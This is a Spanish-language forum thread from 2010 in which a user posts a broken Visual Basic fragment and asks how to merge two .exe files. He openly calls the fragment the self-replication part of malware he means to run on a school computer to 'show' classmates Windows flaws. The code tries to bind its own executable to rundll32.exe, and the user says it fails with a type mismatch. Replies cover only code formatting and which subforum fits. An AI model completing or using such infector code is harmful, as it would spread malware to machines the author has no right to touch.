Necesito modificar archivos .exe desde un programa

Iniciado por pabloflv, 6 Junio 2010, 17:28 PM

0 Miembros y 1 Visitante están viendo este tema.

pabloflv

Estoy haciendo un programita para demostrarles a los brutos que tengo de compañeros las vulnerabilidades monstruosas del güindous con una compu del cole, necesito un poco de ayuda para la parte de retransmisión, sobre todo para modificar archivos exe, probé con este codigo:
Código (vb) [Seleccionar]

Option Explicit

Private Sub Form_Load()
Dim Data() As Byte
Dim Data1() As Byte
Dim Data2() As Byte
Dim fLen As Long
Dim fLen1 As Long
Dim fLen2 As Long
Open "c:\windows\system32\rundll32.exe" For Binary Lock Read As 1
Open App.Path + "\" + App.EXEName + ".exe" For Binary Lock Read As 2
Open "c:\Nuevo.exe" For Binary Access Write As 3
fLen = FileLen("c:\windows\system32\rundll32.exe")
fLen1 = FileLen(App.Path + "\" + App.EXEName + ".exe")
fLen2 = fLen1 + fLen
ReDim Data(fLen2) As Byte
Get #1, , Data1
Get #2, , Data2
Data = Data2 + Data1
Put #2, , Data
Close
End Sub

Pero me tira error mismatch en el + de data2 + data1 cuando lo compilo o lo corro.
Creo saber porque es pero no se como solucionarlo, alguien tiene idea de como mezclar dos archivos exe?, busque por los foros y por google pero no encontré nada puntual

[L]ord [R]NA

Escribe el codigo dentro de las etiquetas GESHI

Horricreu

#2
¿Esto no tendría que ir en el subforo de Programación Visual Basic?

Referente a lo que dijo RNA de GeSHi:

Visual Basic
[code=vb][/code]

Saludos :P


pabloflv

Cita de: Horricreu en  6 Junio 2010, 18:38 PM
¿Esto no tendría que ir en el subforo de Programación Visual Basic (¿es VB no :xD?)?

Referente a lo que dijo RNA de GeShi:

Visual Basic
[code=vb][/code]

Saludos  :P


Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué

Horricreu

#4
Cita de: pabloflv en  6 Junio 2010, 18:57 PM
Cita de: Horricreu en  6 Junio 2010, 18:38 PM
¿Esto no tendría que ir en el subforo de Programación Visual Basic (¿es VB no :xD?)?

Referente a lo que dijo RNA de GeShi:

Visual Basic
[code=vb][/code]

Saludos  :P


Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué

¡Pues si te da error, postealo en el subforo correspondiente! Este subforo no es de dudas de programación, es de análisis y diseño de malware ;)

Saludos :P

pabloflv

Listo ya resolví el problema, moderadores cierrenlo.